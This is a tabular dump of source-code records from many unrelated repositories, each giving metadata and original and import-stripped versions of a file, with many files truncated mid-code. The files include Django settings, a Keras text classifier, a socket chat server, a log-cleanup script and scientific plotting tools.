glo... | 0 | 0 | 0 | 0 | 0 | 558 | 0 | -3 | 114 |
9537bc4d62126af3c4dd206e1dfaa74a82c40530 | 4,284 | py | Python | Turnauswertung-py3/Turnauswertung/settings.py | naechtner/turn-events | 2c71f8ceb5d6f8280c6c19a6467922a834ae0b02 | [
"MIT"
] | null | null | null | Turnauswertung-py3/Turnauswertung/settings.py | naechtner/turn-events | 2c71f8ceb5d6f8280c6c19a6467922a834ae0b02 | [
"MIT"
] | 11 | 2015-06-20T11:51:10.000Z | 2017-01-09T07:09:04.000Z | Turnauswertung-py3/Turnauswertung/settings.py | naechtner/turn-events | 2c71f8ceb5d6f8280c6c19a6467922a834ae0b02 | [
"MIT"
] | null | null | null | """
Django settings for auswertung project.
For more information on this file, see
https://docs.djangoproject.com/en/1.7/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.7/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)... | 26.775 | 73 | 0.704248 | """
Django settings for auswertung project.
For more information on this file, see
https://docs.djangoproject.com/en/1.7/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.7/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
4c0de6ade1ec780ff6d7e01a203723368aba4aac | 2,026 | py | Python | homeassistant/components/telegram_bot/polling.py | mtarjoianu/core | 44e9146463ac505eb3d1c0651ad126cb25c28a54 | [
"Apache-2.0"
] | 30,023 | 2016-04-13T10:17:53.000Z | 2020-03-02T12:56:31.000Z | homeassistant/components/telegram_bot/polling.py | mtarjoianu/core | 44e9146463ac505eb3d1c0651ad126cb25c28a54 | [
"Apache-2.0"
] | 24,710 | 2016-04-13T08:27:26.000Z | 2020-03-02T12:59:13.000Z | homeassistant/components/telegram_bot/polling.py | mtarjoianu/core | 44e9146463ac505eb3d1c0651ad126cb25c28a54 | [
"Apache-2.0"
] | 11,956 | 2016-04-13T18:42:31.000Z | 2020-03-02T09:32:12.000Z | """Support for Telegram bot using polling."""
import logging
from telegram import Update
from telegram.error import NetworkError, RetryAfter, TelegramError, TimedOut
from telegram.ext import CallbackContext
_LOGGER = logging.getLogger(__name__)
def process_error(update: Update, context: CallbackContext):
"""Te... | 33.213115 | 96 | 0.715202 | """Support for Telegram bot using polling."""
import logging
from telegram import Update
from telegram.error import NetworkError, RetryAfter, TelegramError, TimedOut
from telegram.ext import CallbackContext, TypeHandler, Updater
from homeassistant.const import EVENT_HOMEASSISTANT_START, EVENT_HOMEASSISTANT_STOP
from... | 0 | 0 | 296 | 915 | 0 | 0 | 0 | 98 | 92 |
93f42d3bd93aa26629da14f358f8e057c18aa7ff | 2,972 | py | Python | HackerEarth_problems/Xenny and Partially Sorted Strings/solution.py | gbrls/CompetitiveCode | b6f1b817a655635c3c843d40bd05793406fea9c6 | [
"MIT"
] | 165 | 2020-10-03T08:01:11.000Z | 2022-03-31T02:42:08.000Z | HackerEarth_problems/Xenny and Partially Sorted Strings/solution.py | gbrls/CompetitiveCode | b6f1b817a655635c3c843d40bd05793406fea9c6 | [
"MIT"
] | 383 | 2020-10-03T07:39:11.000Z | 2021-11-20T07:06:35.000Z | HackerEarth_problems/Xenny and Partially Sorted Strings/solution.py | gbrls/CompetitiveCode | b6f1b817a655635c3c843d40bd05793406fea9c6 | [
"MIT"
] | 380 | 2020-10-03T08:05:04.000Z | 2022-03-19T06:56:59.000Z | '''
Problem: Xenny and Partially Sorted Strings
Accept number of testcases as t
for each test case:
Given 3 integers N, K, M for each test case. Do the following steps-
Accept all N number of strings and store them in a list
sort the list by only considering first m charcaters in every element of l... | 51.241379 | 128 | 0.711642 | '''
Problem: Xenny and Partially Sorted Strings
Accept number of testcases as t
for each test case:
Given 3 integers N, K, M for each test case. Do the following steps-
Accept all N number of strings and store them in a list
sort the list by only considering first m charcaters in every element of l... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
c5c8a2aac624541b391bc84ed88422229fdafc2d | 2,109 | py | Python | demisto_sdk/commands/common/content/tests/objects/abstract_objects/yaml_object_test.py | nericksen/demisto-sdk | 27c870997597209f196a36358e30e896ca69fbb9 | [
"MIT"
] | null | null | null | demisto_sdk/commands/common/content/tests/objects/abstract_objects/yaml_object_test.py | nericksen/demisto-sdk | 27c870997597209f196a36358e30e896ca69fbb9 | [
"MIT"
] | null | null | null | demisto_sdk/commands/common/content/tests/objects/abstract_objects/yaml_object_test.py | nericksen/demisto-sdk | 27c870997597209f196a36358e30e896ca69fbb9 | [
"MIT"
] | null | null | null |
from demisto_sdk.commands.common.constants import PACKS_DIR, PLAYBOOKS_DIR
from demisto_sdk.commands.common.handlers import YAML_Handler
from demisto_sdk.commands.common.tools import src_root
TEST_DATA = src_root() / 'tests' / 'test_files'
TEST_CONTENT_REPO = TEST_DATA / 'content_slim'
TEST_VALID_YAML = TEST_CONTENT_... | 39.055556 | 104 | 0.705073 | import pytest
from demisto_sdk.commands.common.constants import PACKS_DIR, PLAYBOOKS_DIR
from demisto_sdk.commands.common.content.errors import (ContentInitializeError,
ContentSerializeError)
from demisto_sdk.commands.common.content.objects.abstract_objects impor... | 0 | 349 | 0 | 970 | 0 | 0 | 0 | 197 | 112 |
3e4d395c491972acbf25456942062fe1ab0efbe6 | 3,018 | py | Python | tools/sparrow/binfiletool.py | sics-iot/sparrow | 3ab386ccd80293928da7d5a98c2b7a9ef5fb96f9 | [
"BSD-3-Clause"
] | 26 | 2016-07-15T06:18:27.000Z | 2021-12-15T19:54:49.000Z | tools/sparrow/binfiletool.py | sics-iot/sparrow | 3ab386ccd80293928da7d5a98c2b7a9ef5fb96f9 | [
"BSD-3-Clause"
] | 34 | 2016-08-16T09:55:55.000Z | 2018-02-19T09:53:47.000Z | tools/sparrow/binfiletool.py | sics-iot/sparrow | 3ab386ccd80293928da7d5a98c2b7a9ef5fb96f9 | [
"BSD-3-Clause"
] | 16 | 2016-08-21T06:38:29.000Z | 2021-11-28T22:02:44.000Z | #!/usr/bin/env python
#
# Copyright (c) 2016, SICS, Swedish ICT
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, t... | 40.24 | 117 | 0.733267 | #!/usr/bin/env python
#
# Copyright (c) 2016, SICS, Swedish ICT
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, t... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
e161dd801ed9c09d1d2f4a17b19cd271ea31abb7 | 1,262 | py | Python | libutils/primes.py | nicknaym530/android_system_core | 9f6b99e7aa5eda0391f973a69e97921824de7502 | [
"MIT"
] | 8,865 | 2017-03-13T03:27:32.000Z | 2022-03-31T12:57:44.000Z | libutils/primes.py | nicknaym530/android_system_core | 9f6b99e7aa5eda0391f973a69e97921824de7502 | [
"MIT"
] | 359 | 2017-03-13T06:37:22.000Z | 2022-01-27T14:31:43.000Z | libutils/primes.py | nicknaym530/android_system_core | 9f6b99e7aa5eda0391f973a69e97921824de7502 | [
"MIT"
] | 1,709 | 2017-03-13T02:29:13.000Z | 2022-03-31T12:57:48.000Z | #!/usr/bin/env python2.6
#
# Copyright (C) 2011 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 26.291667 | 75 | 0.684628 | #!/usr/bin/env python2.6
#
# Copyright (C) 2011 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 0 | 0 | 0 | 0 | 0 | 112 | 0 | 0 | 23 |
78104853e3b07d47b418bdf8759412a8ee2b5fa5 | 2,175 | py | Python | samples/patterns.py | ShiJbey/neighborly | 5af1e3211f1ef0e25803790850e7cd3d3a49be69 | [
"MIT"
] | null | null | null | samples/patterns.py | ShiJbey/neighborly | 5af1e3211f1ef0e25803790850e7cd3d3a49be69 | [
"MIT"
] | null | null | null | samples/patterns.py | ShiJbey/neighborly | 5af1e3211f1ef0e25803790850e7cd3d3a49be69 | [
"MIT"
] | null | null | null | """
In this file, I am messing around with using generator functions
to handle things like pattern matching in LifeEventRules and
timestep sizes when handling level-of-detail changes
"""
strength_greater_than_10 = strength_greater_than(10)
if __name__ == "__main__":
main()
| 24.438202 | 76 | 0.664368 | """
In this file, I am messing around with using generator functions
to handle things like pattern matching in LifeEventRules and
timestep sizes when handling level-of-detail changes
"""
from abc import abstractmethod
from typing import Generator, List, Protocol, Tuple
from dataclasses import dataclass
from neighborly.... | 0 | 552 | 0 | 160 | 252 | 439 | 0 | 210 | 274 |
42d22cceabcb1eaaaa88e412012bd0ae040d3ad4 | 3,228 | py | Python | app/preprocessing_utils.py | Sylvariane/ncc-sezam | b0b24c14e07a774cc95e52a09d4a833fc68b955d | [
"MIT"
] | 2 | 2021-10-16T08:16:01.000Z | 2021-10-16T08:18:26.000Z | app/preprocessing_utils.py | Sylvariane/ncc-sezam | b0b24c14e07a774cc95e52a09d4a833fc68b955d | [
"MIT"
] | null | null | null | app/preprocessing_utils.py | Sylvariane/ncc-sezam | b0b24c14e07a774cc95e52a09d4a833fc68b955d | [
"MIT"
] | 1 | 2021-12-20T19:16:48.000Z | 2021-12-20T19:16:48.000Z | """
This file implements different preprocessing utils functions.
"""
import pandas as pd
import re
from stopwords import stopwords_nltk, stopwords_specific
import unicodedata
def preprocess_string(nlp, input_string):
"""
Wraps all operations to ensure common normalization.
"""
processed_string = inpu... | 27.12605 | 75 | 0.653036 | """
This file implements different preprocessing utils functions.
"""
import pandas as pd
import re
from stopwords import stopwords_nltk, stopwords_specific
import spacy
import unicodedata
def preprocess_string(nlp, input_string):
"""
Wraps all operations to ensure common normalization.
"""
processed_... | 10 | 0 | 0 | 0 | 0 | 0 | 0 | -9 | 22 |
6a82091195b6c3c72d4d13558f0e7dd10bb2ea34 | 7,261 | py | Python | model/modules/checkpoint_activations.py | RenShuhuai-Andy/WMT18-English-Chinese-Machine-Translation | 509eb0ab423160784baaeb449033a7933dc58ced | [
"MIT"
] | 8 | 2021-06-08T10:53:16.000Z | 2022-03-30T11:13:48.000Z | hippop_transformer/model/modules/checkpoint_activations.py | RenShuhuai-Andy/HippopTransformer | 1b8397b50b4ef35893c8dfa4e9f1efd9e7270540 | [
"MIT"
] | null | null | null | hippop_transformer/model/modules/checkpoint_activations.py | RenShuhuai-Andy/HippopTransformer | 1b8397b50b4ef35893c8dfa4e9f1efd9e7270540 | [
"MIT"
] | 1 | 2021-03-10T07:38:53.000Z | 2021-03-10T07:38:53.000Z | # Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from typing import Any, Dict, List, Tuple, Union
import torch
import torch.utils.checkpoint as checkpoint
def checkpoint_wrapper(m):
""... | 36.487437 | 98 | 0.652665 | # Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from typing import Any, Dict, List, Tuple, Union
import torch
import torch.utils.checkpoint as checkpoint
from fairseq import utils
def ch... | 0 | 2,938 | 0 | 358 | 0 | 1,690 | 0 | 4 | 119 |
d25229d1a0cc8a230825096b11afe272fdca3534 | 6,632 | py | Python | tests/fixtures/doaj/e65469_doaj_json.py | elifesciences/elife-bot | d3a102c8030e4b7ec83cbd45e5f839dba4f9ffd9 | [
"MIT"
] | 17 | 2015-02-10T07:10:29.000Z | 2021-05-14T22:24:45.000Z | tests/fixtures/doaj/e65469_doaj_json.py | elifesciences/elife-bot | d3a102c8030e4b7ec83cbd45e5f839dba4f9ffd9 | [
"MIT"
] | 459 | 2015-03-31T18:24:23.000Z | 2022-03-30T19:44:40.000Z | tests/fixtures/doaj/e65469_doaj_json.py | elifesciences/elife-bot | d3a102c8030e4b7ec83cbd45e5f839dba4f9ffd9 | [
"MIT"
] | 9 | 2015-04-18T16:57:31.000Z | 2020-10-30T11:49:13.000Z | # coding=utf-8
from collections import OrderedDict
EXPECTED = OrderedDict(
[
(
"bibjson",
OrderedDict(
[
(
"abstract",
"The inflammatory environment of demyelinated lesions in multiple sclerosis (MS)... | 54.809917 | 1,242 | 0.375452 | # coding=utf-8
from collections import OrderedDict
EXPECTED = OrderedDict(
[
(
"bibjson",
OrderedDict(
[
(
"abstract",
"The inflammatory environment of demyelinated lesions in multiple sclerosis (MS)... | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a8e3224b84936329ff6db86c5a7e78635d188e74 | 869 | py | Python | tensorflow_blade/tf_blade/util/tf2onnx_import_helper.py | JamesTheZ/BladeDISC | e6c76ee557ebfccd560d44f6b6276bbc4e0a8a34 | [
"Apache-2.0"
] | 328 | 2021-12-20T03:29:35.000Z | 2022-03-31T14:27:23.000Z | tensorflow_blade/tf_blade/util/tf2onnx_import_helper.py | JamesTheZ/BladeDISC | e6c76ee557ebfccd560d44f6b6276bbc4e0a8a34 | [
"Apache-2.0"
] | 82 | 2021-12-20T09:15:16.000Z | 2022-03-31T09:33:48.000Z | tensorflow_blade/tf_blade/util/tf2onnx_import_helper.py | JamesTheZ/BladeDISC | e6c76ee557ebfccd560d44f6b6276bbc4e0a8a34 | [
"Apache-2.0"
] | 66 | 2021-12-21T17:28:27.000Z | 2022-03-29T12:08:34.000Z | # Copyright 2022 The BladeDISC Authors. All rights reserved.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or ... | 37.782609 | 74 | 0.756041 | # Copyright 2022 The BladeDISC Authors. All rights reserved.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or ... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -7 | 40 |
782d2d0fd1174706f95dd685af843c816e06171a | 803 | py | Python | prophet_gcp/ml_engine_utils.py | SpikeLab-CL/paralell_prophet | c04b069ae27eb8645dd10e0cf9992415e585ba62 | [
"WTFPL"
] | 7 | 2018-10-18T18:06:27.000Z | 2021-11-02T19:53:31.000Z | prophet_gcp/ml_engine_utils.py | SpikeLab-CL/paralell_prophet | c04b069ae27eb8645dd10e0cf9992415e585ba62 | [
"WTFPL"
] | null | null | null | prophet_gcp/ml_engine_utils.py | SpikeLab-CL/paralell_prophet | c04b069ae27eb8645dd10e0cf9992415e585ba62 | [
"WTFPL"
] | 5 | 2020-01-23T22:03:00.000Z | 2022-02-17T08:28:51.000Z | import subprocess
import os
import sys
def download_file_from_storage(gs_file_path):
"""download a file from GCS into ml-engine running container
Arguments:
gs_ile_path: string path to the MOJO file.
Returns:
string: path of the downloaded file
"""
file_name = "{0}"... | 32.12 | 92 | 0.646326 | import subprocess
import os
import sys
def download_file_from_storage(gs_file_path):
"""download a file from GCS into ml-engine running container
Arguments:
gs_ile_path: string path to the MOJO file.
Returns:
string: path of the downloaded file
"""
file_name = "{0}"... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a6f540a2b4b02a1e13ec399b8ca55d39e0adf3a7 | 1,506 | py | Python | 2017-04-06 - Pythonic Code Through 5 Examples/tip4_generators/gen.py | skolbin-ssi/WintellectWebinars | 63612580c7c2f7d0c6dca930abba5696b2f40286 | [
"Apache-2.0"
] | 8 | 2019-01-24T19:22:29.000Z | 2019-06-11T17:00:56.000Z | 2017-04-06 - Pythonic Code Through 5 Examples/tip4_generators/gen.py | skolbin-ssi/WintellectWebinars | 63612580c7c2f7d0c6dca930abba5696b2f40286 | [
"Apache-2.0"
] | 28 | 2021-03-10T08:24:07.000Z | 2022-03-02T07:26:39.000Z | 2017-04-06 - Pythonic Code Through 5 Examples/tip4_generators/gen.py | skolbin-ssi/WintellectWebinars | 63612580c7c2f7d0c6dca930abba5696b2f40286 | [
"Apache-2.0"
] | 2 | 2018-01-23T11:24:44.000Z | 2019-06-06T18:27:32.000Z |
if __name__ == '__main__':
main()
| 18.825 | 71 | 0.549137 | import csv
import os
from purchases import Purchase
def fibonacci_blocking(limit):
nums = []
current, nxt = 0, 1
for _ in range(1, limit):
current, nxt = nxt, current + nxt
nums.append(current)
return nums
def fibonacci():
current, nxt = 0, 1
while True:
current, nx... | 0 | 0 | 0 | 0 | 99 | 1,218 | 0 | -14 | 159 |
f204c48ff95fbc3bd96c2c4fa5b53379356e0442 | 4,632 | py | Python | models/gpu_model.py | jdp527/DL_Text_Classification | b354c3523f39deab64ad6d574e5847332ad8390c | [
"MIT"
] | 24 | 2018-04-14T20:08:46.000Z | 2021-08-01T09:06:47.000Z | models/gpu_model.py | jdp527/DL_Text_Classification | b354c3523f39deab64ad6d574e5847332ad8390c | [
"MIT"
] | 2 | 2018-04-21T19:36:18.000Z | 2018-04-28T22:31:20.000Z | models/gpu_model.py | jdp527/DL_Text_Classification | b354c3523f39deab64ad6d574e5847332ad8390c | [
"MIT"
] | 2 | 2018-05-15T05:38:29.000Z | 2019-09-03T10:08:12.000Z | '''
Collection of Text Classification Keras Algorithms for Toxic Comment Classification Challenge.
https://www.kaggle.com/c/jigsaw-toxic-comment-classification-challenge
'''
# Keras
from keras.layers import (Dense, Input, Bidirectional, Dropout, Embedding, Flatten, CuDNNLSTM, CuDNNGRU, Conv2D, MaxPool2D, Reshape)
from... | 38.92437 | 116 | 0.682211 | '''
Collection of Text Classification Keras Algorithms for Toxic Comment Classification Challenge.
https://www.kaggle.com/c/jigsaw-toxic-comment-classification-challenge
'''
# Keras
from keras.layers import (Dense, Input, Bidirectional, Activation, Dropout, Embedding, Flatten, CuDNNLSTM, CuDNNGRU,
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 60 | 0 |
10fc1af9e52081f2aa8dc9407d8ad7c4a5b2e7c5 | 9,415 | py | Python | chat_server.py | nixpal/Terminal-ChatServer | 2447ba2db220c7fd3092fee957de264d20b89124 | [
"MIT"
] | null | null | null | chat_server.py | nixpal/Terminal-ChatServer | 2447ba2db220c7fd3092fee957de264d20b89124 | [
"MIT"
] | null | null | null | chat_server.py | nixpal/Terminal-ChatServer | 2447ba2db220c7fd3092fee957de264d20b89124 | [
"MIT"
] | 1 | 2021-07-23T02:57:41.000Z | 2021-07-23T02:57:41.000Z | #!/usr/bin/python
import socket
import threading
from terminaltables import AsciiTable
reset="\033[0;0m"
red="\033[38;5;9m"
byellow="\033[38;5;3m"
yellowb="\033[38;5;11m"
blue="\033[38;5;27m"
purple="\033[1;33;35m"
cyan="\033[38;5;6m"
white="\033[38;5;7m"
orange="\033[38;5;202m"
lblue="\033[38;5;117m"
green="\033[38... | 32.91958 | 149 | 0.481041 | #!/usr/bin/python
import socket
from thread import *
import threading
from terminaltables import AsciiTable
from chat_module import *
reset="\033[0;0m"
red="\033[38;5;9m"
byellow="\033[38;5;3m"
yellowb="\033[38;5;11m"
blue="\033[38;5;27m"
purple="\033[1;33;35m"
cyan="\033[38;5;6m"
white="\033[38;5;7m"
orange="\033[3... | 0 | 0 | 0 | 0 | 0 | 7,937 | 0 | 3 | 182 |
cea009eb8599a0f7cad6fdba7b5641d450f7c636 | 52,451 | py | Python | korok.py | spiolynn/log-processing | dbc99a97b7a1163d6e1bb3e6e47b9d47df69578b | [
"MIT"
] | 3 | 2019-07-15T00:42:07.000Z | 2019-07-29T07:32:01.000Z | korok.py | spiolynn/log-processing | dbc99a97b7a1163d6e1bb3e6e47b9d47df69578b | [
"MIT"
] | null | null | null | korok.py | spiolynn/log-processing | dbc99a97b7a1163d6e1bb3e6e47b9d47df69578b | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# @Time : 2019/7/11 10:32
# @Author : hoo
# @Site :
# @File : korok.py
# @Software: PyCharm Community Edition
'''
2019/7/9 :
'''
import optparse
# python2 python3 import diff
from sys import version_info
if version_info.major == 2:
import ConfigParser
else:
'''
#
[archive-eg]... | 35.705242 | 116 | 0.480029 | # -*- coding: utf-8 -*-
# @Time : 2019/7/11 10:32
# @Author : hoo
# @Site :
# @File : korok.py
# @Software: PyCharm Community Edition
'''
2019/7/9 : 日志清理脚本
'''
import codecs
import glob
import traceback
import tarfile
import subprocess
import sys
import datetime
import time
import shutil
import os
import l... | 306 | 0 | 0 | 50,114 | 0 | 96 | 0 | -116 | 425 |
d2e168284d43ab79217bafd2f060d67b9b6df3e8 | 317 | py | Python | tfpromote/version.py | billtrust/terraform-promote | bd54fc8aaef6988bc2ce0ab14ddde077f133c0b7 | [
"MIT"
] | 4 | 2020-12-17T05:47:58.000Z | 2022-03-16T13:46:34.000Z | tfpromote/version.py | billtrust/terraform-promote | bd54fc8aaef6988bc2ce0ab14ddde077f133c0b7 | [
"MIT"
] | null | null | null | tfpromote/version.py | billtrust/terraform-promote | bd54fc8aaef6988bc2ce0ab14ddde077f133c0b7 | [
"MIT"
] | null | null | null | __version__ = '0.2.9'
__title__ = 'tfpromote'
__description__ = 'Compare and promote Terraform files from dev to prod environments.'
__url__ = 'https://github.com/billtrust/terraform-promote'
__author__ = 'Doug Kerwin'
__author_email__ = 'dkerwin@billtrust.com'
__license__ = 'MIT'
__keywords__ = ['terraform'] | 39.625 | 87 | 0.753943 | __version__ = '0.2.9'
__title__ = 'tfpromote'
__description__ = 'Compare and promote Terraform files from dev to prod environments.'
__url__ = 'https://github.com/billtrust/terraform-promote'
__author__ = 'Doug Kerwin'
__author_email__ = 'dkerwin@billtrust.com'
__license__ = 'MIT'
__keywords__ = ['terraform'] | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
c9e06b3be13469f6ff313565de884b77d100f2da | 28,760 | py | Python | jumpscale/sals/vdc/proxy.py | threefoldtech/js-sdk | 811f783ac34a60225175bab2d806802a87b9d5c7 | [
"Apache-2.0"
] | 13 | 2020-09-02T09:05:08.000Z | 2022-03-12T02:43:24.000Z | jumpscale/sals/vdc/proxy.py | threefoldtech/js-sdk | 811f783ac34a60225175bab2d806802a87b9d5c7 | [
"Apache-2.0"
] | 1,998 | 2020-06-15T11:46:10.000Z | 2022-03-24T22:12:41.000Z | jumpscale/sals/vdc/proxy.py | threefoldtech/js-sdk | 811f783ac34a60225175bab2d806802a87b9d5c7 | [
"Apache-2.0"
] | 8 | 2020-09-29T06:50:35.000Z | 2021-06-14T03:30:52.000Z | from jumpscale.loader import j
VDC_PARENT_DOMAIN = j.core.config.get("VDC_PARENT_DOMAIN", "grid.tf")
PROXY_SERVICE_TEMPLATE = """
kind: Service
apiVersion: v1
metadata:
name: {{ service_name }}
spec:
type: ClusterIP
ports:
- port: {{ port }}
"""
PROXY_ENDPOINT_TEMPLATE = """
kind: Endpoints
apiVersion: v1
metad... | 41.500722 | 178 | 0.578999 | import random
import uuid
import os
import gevent
from jumpscale.clients.explorer.models import NextAction, WorkloadType
from jumpscale.loader import j
from jumpscale.sals.reservation_chatflow import deployer
from jumpscale.sals.reservation_chatflow.deployer import DeploymentFailed
from .base_component import VDCBase... | 0 | 1,242 | 0 | 26,227 | 0 | 0 | 0 | 138 | 245 |
19dfbf03a31338c1c9570f4f0c2a4a31c04fc290 | 1,496 | py | Python | urmovie/urls.py | xuyangliu/UR | 8a3c94dd6b6f16bf233167333464c0429ad269d8 | [
"Apache-2.0"
] | null | null | null | urmovie/urls.py | xuyangliu/UR | 8a3c94dd6b6f16bf233167333464c0429ad269d8 | [
"Apache-2.0"
] | null | null | null | urmovie/urls.py | xuyangliu/UR | 8a3c94dd6b6f16bf233167333464c0429ad269d8 | [
"Apache-2.0"
] | null | null | null | """UR URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based view... | 40.432432 | 94 | 0.70254 | """UR URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based view... | 24 | 0 | 0 | 0 | 0 | 0 | 0 | 30 | 22 |
660211f47fb3b9811a63ab733b4ba1b3c7297670 | 341 | py | Python | final.py | tecind/wallpaper-changer | ffe65da635f5c59548ebd1d238ac748070f3cde7 | [
"MIT"
] | null | null | null | final.py | tecind/wallpaper-changer | ffe65da635f5c59548ebd1d238ac748070f3cde7 | [
"MIT"
] | null | null | null | final.py | tecind/wallpaper-changer | ffe65da635f5c59548ebd1d238ac748070f3cde7 | [
"MIT"
] | null | null | null | import os
from os.path import isfile, join
import time
import ctypes
folderpath = r"E:\All Projects\Auto Wallpaper"
all_files = [ f for f in os.listdir(folderpath) if isfile(join(folderpath, f))]
for image in all_files:
print(image)
ctypes.windll.user32.SystemParametersInfoW(20, 0, folderpath+ "\\" + image, ... | 24.357143 | 82 | 0.72434 | import os
from os.path import isfile, join
import time
import ctypes
folderpath = r"E:\All Projects\Auto Wallpaper"
all_files = [ f for f in os.listdir(folderpath) if isfile(join(folderpath, f))]
for image in all_files:
print(image)
ctypes.windll.user32.SystemParametersInfoW(20, 0, folderpath+ "\\" + image, ... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
06cb52e8eb547edf7ac66c5c42b3c1cc2c4098ba | 7,779 | py | Python | data/experiments/sock-echo/post-processing/plot_results.py | di-unipi-socc/yRCA | 9c75df2fb38a8bff198885008216eb644ccaf734 | [
"Apache-2.0"
] | null | null | null | data/experiments/sock-echo/post-processing/plot_results.py | di-unipi-socc/yRCA | 9c75df2fb38a8bff198885008216eb644ccaf734 | [
"Apache-2.0"
] | null | null | null | data/experiments/sock-echo/post-processing/plot_results.py | di-unipi-socc/yRCA | 9c75df2fb38a8bff198885008216eb644ccaf734 | [
"Apache-2.0"
] | null | null | null | import matplotlib.pyplot as plt
import os
plotsDir = "plots"
# function to add an output, if experiment and value are both defined
# function to parse a csv timeFile
#with lines s.t. "experiment,logFile,elapsedTime,fileSize,timePerMB"
#function to adapt a given "experimentValue"
# - if load rate (of the form "0.x"... | 33.675325 | 114 | 0.59185 | import matplotlib.pyplot as plt
import numpy as np
import os
import re
plotsDir = "plots"
def parseOutputs(outputsFile):
out = { }
out["count"] = {}
out["roots"] = {}
out["accuracy"] = {}
outputs = open(outputsFile)
experiment = None
value = None
count = None
nFailures = None
... | 44 | 0 | 0 | 0 | 0 | 5,983 | 0 | -15 | 200 |
ed9343bfb5b3ee8263500da7447ed1563a0c1cf8 | 10,469 | py | Python | tutorials/05-dcr/plot_fwd_2_dcr2d.py | ElliotCheung/simpeg | ce5bde154179ca63798a62a12787a7ec3535472c | [
"MIT"
] | 1 | 2022-02-18T16:31:27.000Z | 2022-02-18T16:31:27.000Z | tutorials/05-dcr/plot_fwd_2_dcr2d.py | ElliotCheung/simpeg | ce5bde154179ca63798a62a12787a7ec3535472c | [
"MIT"
] | null | null | null | tutorials/05-dcr/plot_fwd_2_dcr2d.py | ElliotCheung/simpeg | ce5bde154179ca63798a62a12787a7ec3535472c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
DC Resistivity Forward Simulation in 2.5D
=========================================
Here we use the module *SimPEG.electromagnetics.static.resistivity* to predict
DC resistivity data and plot using a pseudosection. In this tutorial, we focus
on the following:
- How to define the survey... | 31.250746 | 88 | 0.66845 | # -*- coding: utf-8 -*-
"""
DC Resistivity Forward Simulation in 2.5D
=========================================
Here we use the module *SimPEG.electromagnetics.static.resistivity* to predict
DC resistivity data and plot using a pseudosection. In this tutorial, we focus
on the following:
- How to define the survey... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 15 | 0 |
e37e584958a6aca16c3f35896e29d1a83d9ee805 | 1,023 | py | Python | tools/clang-tidy.py | qftphys/Simulate-the-non-equilibrium-dynamics-of-Fermionic-systems | 48d36fecbe4bc12af90f104cdf1f9f68352c508c | [
"MIT"
] | 2 | 2021-01-18T14:35:43.000Z | 2022-03-22T15:12:49.000Z | tools/clang-tidy.py | f-koehler/ieompp | 48d36fecbe4bc12af90f104cdf1f9f68352c508c | [
"MIT"
] | null | null | null | tools/clang-tidy.py | f-koehler/ieompp | 48d36fecbe4bc12af90f104cdf1f9f68352c508c | [
"MIT"
] | null | null | null | #!/bin/env python3
from os import walk
from os.path import abspath, dirname, join, realpath, splitext
from subprocess import call
from sys import argv, stderr
checks = [
"clang-analyzer-*",
"cppcoreguidelines-*",
"llvm-namespace-comment",
"modernize-*",
"performance-*",
"readability-*",
]
if _... | 26.230769 | 80 | 0.514174 | #!/bin/env python3
from os import walk
from os.path import abspath, dirname, join, realpath, splitext
from subprocess import call
from sys import argv, stderr
checks = [
"clang-analyzer-*",
"cppcoreguidelines-*",
"llvm-namespace-comment",
"modernize-*",
"performance-*",
"readability-*",
]
if _... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
46359266b32939e9cfad0757def494294aa7883d | 11,105 | py | Python | datasets/augments.py | milesgray/ImageFunctions | 35e4423b94149b0ba291eafb0cd98260a70d5f31 | [
"Apache-2.0"
] | null | null | null | datasets/augments.py | milesgray/ImageFunctions | 35e4423b94149b0ba291eafb0cd98260a70d5f31 | [
"Apache-2.0"
] | null | null | null | datasets/augments.py | milesgray/ImageFunctions | 35e4423b94149b0ba291eafb0cd98260a70d5f31 | [
"Apache-2.0"
